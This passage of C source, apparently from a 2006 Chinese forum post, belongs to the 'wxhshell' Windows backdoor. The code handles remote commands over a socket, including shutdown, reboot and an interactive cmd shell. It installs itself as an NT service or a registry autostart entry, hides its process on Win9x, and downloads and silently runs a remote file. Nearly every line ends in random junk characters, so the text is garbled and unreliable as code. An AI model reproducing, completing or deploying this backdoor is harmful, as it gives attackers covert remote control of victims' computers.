  // 帮助 4xj4=C~i  
  case '?': { X?Q4}Y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); h";L  
    break; 53 h0UL  
  } #'}*dy/  
  // 安装 :`sUt1Fw.  
  case 'i': { \;Weizq5  
    if(Install()) x+]"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6A ah9   
    else |.dRily+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |w=zOC;v  
    break; ['D]>Ot68  
    } U<XG{<2  
  // 卸载 zt%Mx>V@  
  case 'r': { z$sGv19pB  
    if(Uninstall()) r JB}qYD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9gIrt 6  
    else 6]wIG$j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,esmV-  
    break; ar,7S&s H  
    } \U_@S.  
  // 显示 wxhshell 所在路径 LP=)~K<  
  case 'p': { n6 v6K1  
    char svExeFile[MAX_PATH]; W,u:gzmhw  
    strcpy(svExeFile,"\n\r"); [Rb+q=z#  
      strcat(svExeFile,ExeFile); q3`u1S7Z7  
        send(wsh,svExeFile,strlen(svExeFile),0); %so]L+r2!  
    break; wL[ M:  
    } ,zc(t<|-y  
  // 重启 \M-OC5fQv  
  case 'b': { O/LXdz0B  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); EQ_aa@M7  
    if(Boot(REBOOT)) h+,@G,|D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gqR(.Pu  
    else { Wp,R ^d  
    closesocket(wsh); pR_9NfV{  
    ExitThread(0); \2z>?i)  
    } 5zJq9\)d+  
    break; KPki}'GO  
    } -\MG}5?!  
  // 关机 FI.\%x  
  case 'd': { d(K +);!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); v[<T]1=LRC  
    if(Boot(SHUTDOWN)) H?w6C):]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y/oHu@ _  
    else { +C)~bb*  
    closesocket(wsh); /wv0i3_e  
    ExitThread(0); <3 uNl  
    } '%;m?t% q  
    break; nt<]d\o0  
    } d-%hjy3N  
  // 获取shell - YBY[%jF>  
  case 's': { E-FUlOG&  
    CmdShell(wsh); A@'OJRc  
    closesocket(wsh); $~kA B8z  
    ExitThread(0); A%vbhD2;W  
    break; {`_i`  
  } + T+#q@  
  // 退出 _0I@xQj-  
  case 'x': { \U0'P;em  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); I=#$8l.*  
    CloseIt(wsh); 8EYkQ  
    break; ~6gPS 13  
    } @F>D+=hS  
  // 离开 [>9is=>o.  
  case 'q': { >mkFV@`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); jWgX_//!  
    closesocket(wsh); H/Jbk*Q  
    WSACleanup(); +|f@^-  
    exit(1); %2h>-.tY  
    break; 8XaQAy%d]  
        } 8CE = 4  
  } iRBfx  
  } +,l-Nz  
'fW-Y!k%  
  // 提示信息 L50n8s  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y>LBl]  
} 06jQE2z2R  
  } ,)io5nZF  
 5twhm  
  return; F[MFx^sT{  
} MfkZ  
{)Xy%QV  
// shell模块句柄 &j6erwaT  
int CmdShell(SOCKET sock) 62u4-}JzF  
{ ?4uL-z](V  
STARTUPINFO si; )gi9f1n`  
ZeroMemory(&si,sizeof(si)); d5-qZ{W  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <naz+QK'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [B3RfCV{  
PROCESS_INFORMATION ProcessInfo; 0 "#HJA44  
char cmdline[]="cmd"; .]Z"C&"N]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |?9HU~B  
  return 0; L.IlBjD  
} ! P4*+')M  
{+Jv+J9  
// 自身启动模式 Hp?/a?\Xm  
int StartFromService(void) #E]59_  
{ 4K74=r),i  
typedef struct *ui</+  
{ x^CS"v7  
  DWORD ExitStatus; W l4%GB  
  DWORD PebBaseAddress; =V5%+/r+f  
  DWORD AffinityMask; 5-M-X#(  
  DWORD BasePriority; AwN!;t_0+N  
  ULONG UniqueProcessId; s^SJY{  
  ULONG InheritedFromUniqueProcessId; ]^]wP]R_  
}   PROCESS_BASIC_INFORMATION; kVL.PY\K  
7z-[f'EIUI  
PROCNTQSIP NtQueryInformationProcess; #"an9<  
w =KPT''!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %)n=x ne  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ho%CDz z  
+[P{&\d4}  
  HANDLE             hProcess; Zc2PepIg  
  PROCESS_BASIC_INFORMATION pbi; 0YHFvy)  
Dh*n!7lD`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ] R*A  
  if(NULL == hInst ) return 0; @PU [:;  
PW4q~rc=:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0$njMnB2l  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #;<Y[hR{P  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @ |r{;'  
hOeRd#AQK  
  if (!NtQueryInformationProcess) return 0; z)"=:o7  
~XIb\m9H  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,0k;!YK  
  if(!hProcess) return 0; f!"w5qC^  
gFh*eCo   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +h$ 9\  
_-\#i  
  CloseHandle(hProcess); 4I7>f]=)  
#/]nxW.S  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -YE^zzh  
if(hProcess==NULL) return 0; ;Qq\DFe.w  
~5g~;f[4  
HMODULE hMod; `{Ul!  
char procName[255]; [ 3HfQ  
unsigned long cbNeeded; ctUp=po  
YzWz|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3sk9`=[{$  
#1[u (<AS  
  CloseHandle(hProcess); ;nGa.= "L  
o}!PQ#`M  
if(strstr(procName,"services")) return 1; // 以服务启动 ME dWLFf  
UI#h&j5pW  
  return 0; // 注册表启动 ww/Uzv  
} =#\:}@J5I  
If.r5z9  
// 主模块 Q20 %"&Xp]  
int StartWxhshell(LPSTR lpCmdLine) he4(hX^  
{ *8Z32c+C  
  SOCKET wsl; D]}G.v1  
BOOL val=TRUE; Yz bXuJ4  
  int port=0; "]dI1 g_  
  struct sockaddr_in door; AR=]=8  
kP"9&R`E  
  if(wscfg.ws_autoins) Install(); ceV}WN19l  
4Up/p&1@  
port=atoi(lpCmdLine); }'.m*#Y  
Vc2`b3"Br  
if(port<=0) port=wscfg.ws_port; Jb(H %NJ  
nwWJ7M,A  
  WSADATA data; 3u;oQ5<(v  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =}*0-\QG  
<q SC#[xu  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   OY d !v`<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  `]X>V,  
  door.sin_family = AF_INET; kFB  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); vbNBLCwug  
  door.sin_port = htons(port); 2|L&DF:G  
PdCEUh\>y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /NlGFO*Z  
closesocket(wsl); yw!{MO  
return 1; 2?5>o!C  
} q@qsp&0/  
/ouPg=+Nl  
  if(listen(wsl,2) == INVALID_SOCKET) { e!Hhs/&!T  
closesocket(wsl); _^;Z~/.  
return 1; : 'c&,oLY  
} xmG<]WF>E  
  Wxhshell(wsl); G#CXs:1pd+  
  WSACleanup(); liZxBs :%i  
?0SEMmp`H  
return 0; #?E"x/$Y6  
9F vFhY  
} g*Phv|kI  
'7/)Ot(  
// 以NT服务方式启动 y^k$Us  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /,dz@   
{ 8QK&_n*  
DWORD   status = 0; S:Hl/:iV  
  DWORD   specificError = 0xfffffff; Th%zn2R B  
>V937  
  serviceStatus.dwServiceType     = SERVICE_WIN32; yuVs YV@"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; GmG 5[?)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; U(Zq= M  
  serviceStatus.dwWin32ExitCode     = 0; 9z0p5)]n>  
  serviceStatus.dwServiceSpecificExitCode = 0; Z.WW(C.  
  serviceStatus.dwCheckPoint       = 0; d1*<Ll9K  
  serviceStatus.dwWaitHint       = 0; ebq4g387X  
;*N5Y}?j'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ),)lzN%!  
  if (hServiceStatusHandle==0) return; <GJbmRc|  
7 &\yj9  
status = GetLastError(); cR{#V1Z  
  if (status!=NO_ERROR) ~?dI*BZ)]  
{ v^iAD2X/F  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; : +u]S2u{  
    serviceStatus.dwCheckPoint       = 0; &L:!VL{I  
    serviceStatus.dwWaitHint       = 0; GVz6-T~\>  
    serviceStatus.dwWin32ExitCode     = status; FlQGg VN  
    serviceStatus.dwServiceSpecificExitCode = specificError; @c#(.=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7P T{lT  
    return; *I+Q~4  
  } b'g )  
*R"/|Ka  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; O< I-  
  serviceStatus.dwCheckPoint       = 0; lFk R=!?=  
  serviceStatus.dwWaitHint       = 0; 0%B/,/PxD  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); CAlCDfKW}  
} us.~G  
+_`7G^U?%  
// 处理NT服务事件,比如:启动、停止 E{\2='3\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) k!^{eOM  
{ K@2),(z  
switch(fdwControl) +mPx8P&%  
{ -/4P3SG/  
case SERVICE_CONTROL_STOP: Kq!3wb;  
  serviceStatus.dwWin32ExitCode = 0; }b}m3i1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; jCY %|  
  serviceStatus.dwCheckPoint   = 0; x38 QD;MT  
  serviceStatus.dwWaitHint     = 0; b$7 +;I;  
  {  k'YTpO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zqku e%^?-  
  } 7^285)UQA  
  return; NHt\ U9l'  
case SERVICE_CONTROL_PAUSE: rjP/l6 ~'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0_/[k*Re  
  break; y} '@R$  
case SERVICE_CONTROL_CONTINUE: 2!\D PX  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; N[hG8f  
  break; cl1T8vFM  
case SERVICE_CONTROL_INTERROGATE: :3PH8TL  
  break; +t.b` U`-  
}; xo)P?-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [UR-I0 s!/  
} 6Zo}(^Ovz  
/1 dT+>  
// 标准应用程序主函数 ^ 9sjj  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #Y! a6h+  
{ VUc%4U{Cti  
("@!>|H  
// 获取操作系统版本 Y2TtY;  
OsIsNt=GetOsVer(); ,6/V" kqIP  
GetModuleFileName(NULL,ExeFile,MAX_PATH); u +hX  
ZcsZ$qt^  
  // 从命令行安装 y5r4&~04  
  if(strpbrk(lpCmdLine,"iI")) Install(); R_KH"`q  
$qiya[&G4  
  // 下载执行文件 "Q<MS'a  
if(wscfg.ws_downexe) { VTM/hJmwJ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) FmW(CGs  
  WinExec(wscfg.ws_filenam,SW_HIDE); W_=f'yb:E  
} }bDm@NU  
bcyzhK=  
if(!OsIsNt) { 1 zZlC#V  
// 如果时win9x,隐藏进程并且设置为注册表启动 m 5.Zu.  
HideProc(); "%_+-C<L4  
StartWxhshell(lpCmdLine); 4*L_)z&4;  
} @~e5<:|5#  
else -=="<0c  
  if(StartFromService()) +vH4MwG$.&  
  // 以服务方式启动 J,hCvm  
  StartServiceCtrlDispatcher(DispatchTable); mw!F{pw  
else PCvWS.{  
  // 普通方式启动 ! if   
  StartWxhshell(lpCmdLine); <%d>v-=B  
!1k_PY5)  
return 0; F2WKd1U  
}
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只看该作者 1 发表于: 2006-10-10
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